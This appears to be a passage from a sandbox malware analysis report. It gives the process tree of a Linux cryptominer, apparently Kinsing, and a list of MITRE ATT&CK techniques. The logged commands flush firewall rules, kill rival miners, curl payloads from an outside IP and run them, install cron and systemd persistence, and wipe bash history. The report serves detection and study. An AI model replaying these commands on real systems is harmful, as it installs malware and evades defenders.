  - - /sbin/ip6tables
      ip6tables -X ufw6-user-logging-forward
      4⤵
      PID:1682
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-limit-accept
      4⤵
      PID:1683
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-limit
      4⤵
      PID:1684
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1685
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-forward
      4⤵
      PID:1686
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-output
      4⤵
      PID:1687
  - - /sbin/ip6tables
      ip6tables -X ufw6-skip-to-policy-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1688
  - - /sbin/ip6tables
      ip6tables -X ufw6-skip-to-policy-output
      4⤵
      PID:1689
  - - /sbin/ip6tables
      ip6tables -X ufw6-skip-to-policy-forward
      4⤵
      PID:1690
  - - /sbin/ip6tables
      ip6tables -P INPUT ACCEPT
      4⤵
      PID:1691
  - - /sbin/ip6tables
      ip6tables -P OUTPUT ACCEPT
      4⤵
      PID:1692
  - - /sbin/ip6tables
      ip6tables -P FORWARD ACCEPT
      4⤵
      PID:1693
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:1694
- /usr/bin/id
  id -u
  2⤵
  PID:1695
- /bin/grep
  grep -v grep
  2⤵
  PID:1699
- /bin/grep
  grep -e /dev
  2⤵
  PID:1698
- /bin/ls
  ls -la /etc
  2⤵
  PID:1697
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1704
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1703
- /bin/grep
  grep -v grep
  2⤵
  PID:1702
- /bin/grep
  grep tracepath
  2⤵
  PID:1701
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1700
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1709
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1708
- /bin/grep
  grep -v grep
  2⤵
  PID:1707
- /bin/grep
  grep /dot
  2⤵
  PID:1706
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1705
- /usr/bin/pkill
  pkill -f hezb
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1710
- /usr/bin/pkill
  pkill -f /tmp/.out
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1711
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1716
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1715
- /bin/grep
  grep -v grep
  2⤵
  PID:1714
- /bin/grep
  grep ./ll1
  2⤵
  PID:1713
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:1712
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1721
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:1720
- /bin/grep
  grep -v grep
  2⤵
  PID:1719
- /bin/grep
  grep agetty
  2⤵
  PID:1718
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:1717
- /usr/bin/pkill
  pkill -f 42.112.28.216
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1722
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1728
- /bin/grep
  grep -v -
  2⤵
  PID:1727
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1726
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1725
- /bin/grep
  grep 207.38.87.6
  2⤵
  PID:1724
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1734
- /bin/grep
  grep -v -
  2⤵
  PID:1733
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1732
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1731
- /bin/grep
  grep 127.0.0.1:52018
  2⤵
  PID:1730
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1740
- /bin/grep
  grep -v -
  2⤵
  PID:1739
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1738
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1737
- /bin/grep
  grep 34.81.218.76:9486
  2⤵
  PID:1736
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1746
- /bin/grep
  grep -v -
  2⤵
  PID:1745
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1744
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1743
- /bin/grep
  grep 42.112.28.216:9486
  2⤵
  PID:1742
- /usr/bin/pkill
  pkill -f .git/kthreaddw
  2⤵
  - Reads CPU attributes
  PID:1747
- /usr/bin/pkill
  pkill -f 80.211.206.105
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1748
- /usr/bin/pkill
  pkill -f 207.38.87.6
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1749
- /usr/bin/pkill
  pkill -f p8444
  2⤵
  - Reads CPU attributes
  PID:1750
- /usr/bin/pkill
  pkill -f supportxmr
  2⤵
  - Reads CPU attributes
  PID:1751
- /usr/bin/pkill
  pkill -f monero
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1752
- /usr/bin/pkill
  pkill -f kthreaddi
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1753
- /usr/bin/pkill
  pkill -f srv00
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1754
- /usr/bin/pkill
  pkill -f /tmp/.javae/javae
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1755
- /usr/bin/pkill
  pkill -f .javae
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1756
- /usr/bin/pkill
  pkill -f .syna
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1757
- /usr/bin/pkill
  pkill -f .main
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1758
- /usr/bin/pkill
  pkill -f xmm
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1759
- /usr/bin/pkill
  pkill -f solr.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1760
- /usr/bin/pkill
  pkill -f /tmp/.solr/solrd
  2⤵
  - Reads CPU attributes
  PID:1761
- /usr/bin/pkill
  pkill -f /tmp/javac
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1762
- /usr/bin/pkill
  pkill -f /tmp/.go.sh
  2⤵
  - Reads CPU attributes
  PID:1763
- /usr/bin/pkill
  pkill -f /tmp/.x/agetty
  2⤵
  - Reads CPU attributes
  PID:1764
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1765
- /usr/bin/pkill
  pkill -f c3pool
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1766
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/gitag-ssh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1767
- /usr/bin/pkill
  pkill -f /tmp/1
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1768
- /usr/bin/pkill
  pkill -f /tmp/okk.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1769
- /usr/bin/pkill
  pkill -f /tmp/gitaly
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1770
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  - Reads CPU attributes
  PID:1771
- /usr/bin/pkill
  pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
  2⤵
  - Reads CPU attributes
  PID:1772
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/supervise
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1773
- /usr/bin/pkill
  pkill -f /tmp/.ssh/redis.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1774
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1779
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1778
- /bin/grep
  grep -v grep
  2⤵
  PID:1777
- /bin/grep
  grep ./udp
  2⤵
  PID:1776
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1775
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1781
- /bin/cat
  cat /tmp/.X11-unix/01
  2⤵
  PID:1780
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1783
- /bin/cat
  cat /tmp/.X11-unix/11
  2⤵
  PID:1782
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1785
- /bin/cat
  cat /tmp/.X11-unix/22
  2⤵
  PID:1784
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1787
- /bin/cat
  cat /tmp/.pg_stat.0
  2⤵
  PID:1786
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1789
- /bin/cat
  cat /tmp/.pg_stat.1
  2⤵
  PID:1788
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1791
- /bin/cat
  cat /data/./oka.pid
  2⤵
  PID:1790
- /usr/bin/pkill
  pkill -f zsvc
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1792
- /usr/bin/pkill
  pkill -f pdefenderd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1793
- /usr/bin/pkill
  pkill -f updatecheckerd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1794
- /usr/bin/pkill
  pkill -f cruner
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1795
- /usr/bin/pkill
  pkill -f dbused
  2⤵
  - Reads CPU attributes
  PID:1796
- /usr/bin/pkill
  pkill -f bashirc
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1797
- /usr/bin/pkill
  pkill -f meminitsrv
  2⤵
  - Reads CPU attributes
  PID:1798
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1803
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1802
- /bin/grep
  grep -v grep
  2⤵
  PID:1801
- /bin/grep
  grep ./oka
  2⤵
  PID:1800
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1799
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1808
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1807
- /bin/grep
  grep -v grep
  2⤵
  PID:1806
- /bin/grep
  grep "postgres: autovacum"
  2⤵
  PID:1805
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1804
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1820
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1817
- /bin/grep
  grep -v kinsing
  2⤵
  PID:1818
- /bin/grep
  grep -v postgres
  2⤵
  PID:1816
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1815
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1819
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1814
- /bin/grep
  grep -v "("
  2⤵
  PID:1813
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1812
- /bin/grep
  grep -v bin
  2⤵
  PID:1811
- /usr/bin/awk
  awk "length(\$1) == 8"
  2⤵
  PID:1810
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1809
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1831
- - /usr/local/sbin/kill
    kill -9 1173
    3⤵
    PID:1832
- - /usr/local/bin/kill
    kill -9 1173
    3⤵
    PID:1832
- - /usr/sbin/kill
    kill -9 1173
    3⤵
    PID:1832
- - /usr/bin/kill
    kill -9 1173
    3⤵
    PID:1832
- - /sbin/kill
    kill -9 1173
    3⤵
    PID:1832
- - /bin/kill
    kill -9 1173
    3⤵
    - Reads CPU attributes
    PID:1832
- /bin/grep
  grep -v postgres
  2⤵
  PID:1828
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1830
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1827
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1826
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1829
- /bin/grep
  grep -v "("
  2⤵
  PID:1825
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1824
- /bin/grep
  grep -v bin
  2⤵
  PID:1823
- /usr/bin/awk
  awk "length(\$1) == 16"
  2⤵
  PID:1822
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1821
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1841
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:1842
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1839
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1843
- /bin/grep
  grep -v postgres
  2⤵
  PID:1840
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1838
- /bin/grep
  grep -v "("
  2⤵
  PID:1837
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1836
- /bin/grep
  grep -v bin
  2⤵
  PID:1835
- /usr/bin/awk
  awk "length(\$5) == 8"
  2⤵
  PID:1834
- /bin/ps
  ps ax
  2⤵
  - Reads CPU attributes
  PID:1833
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1847
- /bin/grep
  grep /tmp/sscks
  2⤵
  PID:1846
- /bin/grep
  grep -v grep
  2⤵
  PID:1845
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1848
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1844
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:1852
- /usr/bin/md5sum
  md5sum /etc/kinsing
  2⤵
  PID:1851
- /bin/chmod
  chmod 777 /etc/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:1853
- /usr/bin/curl
  curl -o /etc/kinsing http://185.209.29.94/kinsing
  2⤵
  PID:1854
- /bin/chmod
  chmod +x /etc/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:1855
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:1859
- /usr/bin/md5sum
  md5sum /etc/kinsing
  2⤵
  PID:1858
- /bin/chmod
  chmod 777 /etc/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:1860
- /usr/bin/curl
  curl -o /etc/kinsing http://185.209.29.94/kinsing
  2⤵
  PID:1861
- /bin/chmod
  chmod +x /etc/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:1862
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:1866
- /usr/bin/md5sum
  md5sum /etc/kinsing
  2⤵
  PID:1865
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:1870
- /usr/bin/md5sum
  md5sum /etc/libsystem.so
  2⤵
  PID:1869
- /bin/chmod
  chmod 777 /etc/libsystem.so
  2⤵
  - File and Directory Permissions Modification
  PID:1871
- /usr/bin/curl
  curl -o /etc/libsystem.so http://185.209.29.94/libsystem.so
  2⤵
  PID:1872
- /bin/chmod
  chmod +x /etc/libsystem.so
  2⤵
  - File and Directory Permissions Modification
  PID:1873
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:1877
- /usr/bin/md5sum
  md5sum /etc/libsystem.so
  2⤵
  PID:1876
- /bin/chmod
  chmod 777 /etc/libsystem.so
  2⤵
  - File and Directory Permissions Modification
  PID:1878
- /usr/bin/curl
  curl -o /etc/libsystem.so http://185.209.29.94/libsystem.so
  2⤵
  PID:1879
- /bin/chmod
  chmod +x /etc/libsystem.so
  2⤵
  - File and Directory Permissions Modification
  PID:1880
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:1884
- /usr/bin/md5sum
  md5sum /etc/libsystem.so
  2⤵
  PID:1883
- /bin/rm
  rm -rf /tmp/kdevtmpfsi
  2⤵
  PID:1885
- /bin/chmod
  chmod 777 /etc/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:1886
- /bin/chmod
  chmod +x /etc/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:1887
- /etc/kinsing
  /etc/kinsing
  2⤵
  PID:1888
- /usr/bin/id
  id -u
  2⤵
  PID:1889
- /bin/systemctl
  systemctl enable bot
  2⤵
  PID:1890
- /bin/systemctl
  systemctl start bot
  2⤵
  PID:1911
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1915
- /bin/sed
  sed /base64/d
  2⤵
  PID:1914
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1913
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1918
- /bin/sed
  sed /_cron/d
  2⤵
  PID:1917
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1916
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1921
- /bin/sed
  sed /31.210.20.181/d
  2⤵
  PID:1920
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1919
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1924
- /bin/sed
  sed /update.sh/d
  2⤵
  PID:1923
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1922
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1927
- /bin/sed
  sed /logo4/d
  2⤵
  PID:1926
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1925
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1930
- /bin/sed
  sed /logo9/d
  2⤵
  PID:1929
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1928
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1933
- /bin/sed
  sed /logo0/d
  2⤵
  PID:1932
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1931
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1936
- /bin/sed
  sed /logo/d
  2⤵
  PID:1935
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1934
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1939
- /bin/sed
  sed /tor2web/d
  2⤵
  PID:1938
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1937
- /bin/sed
  sed /jpg/d
  2⤵
  PID:1941
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1940
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1942
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1945
- /bin/sed
  sed /png/d
  2⤵
  PID:1944
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1943
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1948
- /bin/sed
  sed /tmp/d
  2⤵
  PID:1947
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1946
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1951
- /bin/sed
  sed /zmreplchkr/d
  2⤵
  PID:1950
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1949
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1954
- /bin/sed
  sed /aliyun.one/d
  2⤵
  PID:1953
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1952
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1957
- /bin/sed
  sed /3.215.110.66.one/d
  2⤵
  PID:1956
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1955
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1960
- /bin/sed
  sed /pastebin/d
  2⤵
  PID:1959
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1958
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1963
- /bin/sed
  sed /onion/d
  2⤵
  PID:1962
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1961
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1966
- /bin/sed
  sed /lsd.systemten.org/d
  2⤵
  PID:1965
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1964
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1969
- /bin/sed
  sed /shuf/d
  2⤵
  PID:1968
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1967
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1972
- /bin/sed
  sed /ash/d
  2⤵
  PID:1971
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1970
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1975
- /bin/sed
  sed /mr.sh/d
  2⤵
  PID:1974
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1973
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1978
- /bin/sed
  sed /185.181.10.234/d
  2⤵
  PID:1977
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1976
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1981
- /bin/sed
  sed /localhost.xyz/d
  2⤵
  PID:1980
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1979
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1984
- /bin/sed
  sed /45.137.151.106/d
  2⤵
  PID:1983
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1982
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1987
- /bin/sed
  sed /111.90.159.106/d
  2⤵
  PID:1986
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1985
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1990
- /bin/sed
  sed /github/d
  2⤵
  PID:1989
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1988
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1993
- /bin/sed
  sed /bigd1ck.com/d
  2⤵
  PID:1992
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1991
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1996
- /bin/sed
  sed /xmr.ipzse.com/d
  2⤵
  - System Network Configuration Discovery
  PID:1995
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1994
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1999
- /bin/sed
  sed /185.181.10.234/d
  2⤵
  PID:1998
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1997
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2002
- /bin/sed
  sed /91.241.19.134/d
  2⤵
  PID:2001
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2000
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2005
- /bin/sed
  sed /122.51.164.83/d
  2⤵
  PID:2004
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2003
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2008
- /bin/sed
  sed /185.191.32.198/d
  2⤵
  PID:2007
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2006
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2011
- /bin/sed
  sed /newdat.sh/d
  2⤵
  PID:2010
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2009
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2014
- /bin/sed
  sed /lib.pygensim.com/d
  2⤵
  PID:2013
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2012
- /bin/sed
  sed /t.amynx.com/d
  2⤵
  PID:2016
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2015
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2017
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2020
- /bin/sed
  sed /update.sh/d
  2⤵
  PID:2019
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2018
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2023
- /bin/sed
  sed /systemd-service.sh/d
  2⤵
  PID:2022
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2021
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2026
- /bin/sed
  sed /pg_stat.sh/d
  2⤵
  PID:2025
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2024
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2029
- /bin/sed
  sed /sleep/d
  2⤵
  PID:2028
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2027
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2032
- /bin/sed
  sed /oka/d
  2⤵
  PID:2031
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2030
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2035
- /bin/sed
  sed /linux1213/d
  2⤵
  PID:2034
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2033
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2038
- /bin/sed
  sed "/#wget/d"
  2⤵
  PID:2037
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2036
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2041
- /bin/sed
  sed "/#curl/d"
  2⤵
  PID:2040
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2039
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2044
- /bin/sed
  sed /zsvc/d
  2⤵
  PID:2043
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2042
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2047
- /bin/sed
  sed /givemexyz/d
  2⤵
  PID:2046
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2045
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2050
- /bin/sed
  sed /world/d
  2⤵
  PID:2049
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2048
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2053
- /bin/sed
  sed /1.sh/d
  2⤵
  PID:2052
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2051
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2056
- /bin/sed
  sed /3.sh/d
  2⤵
  PID:2055
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2054
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2059
- /bin/sed
  sed /workers/d
  2⤵
  PID:2058
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2057
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2062
- /bin/sed
  sed /oracleservice/d
  2⤵
  PID:2061
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2060
- /bin/grep
  grep -v grep
  2⤵
  PID:2065
- /bin/grep
  grep -e 185.122.204.197
  2⤵
  PID:2064
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2063
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2067
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2068
- /bin/rm
  rm -rf /root/.bash_history
  2⤵
  PID:2069

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

Shared Modules

T1129

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Hijack Execution Flow

T1574

Dynamic Linker Hijacking

Scheduled Task/Job

T1053

Cron

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Hijack Execution Flow

T1574

Dynamic Linker Hijacking

Scheduled Task/Job

T1053

Cron

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

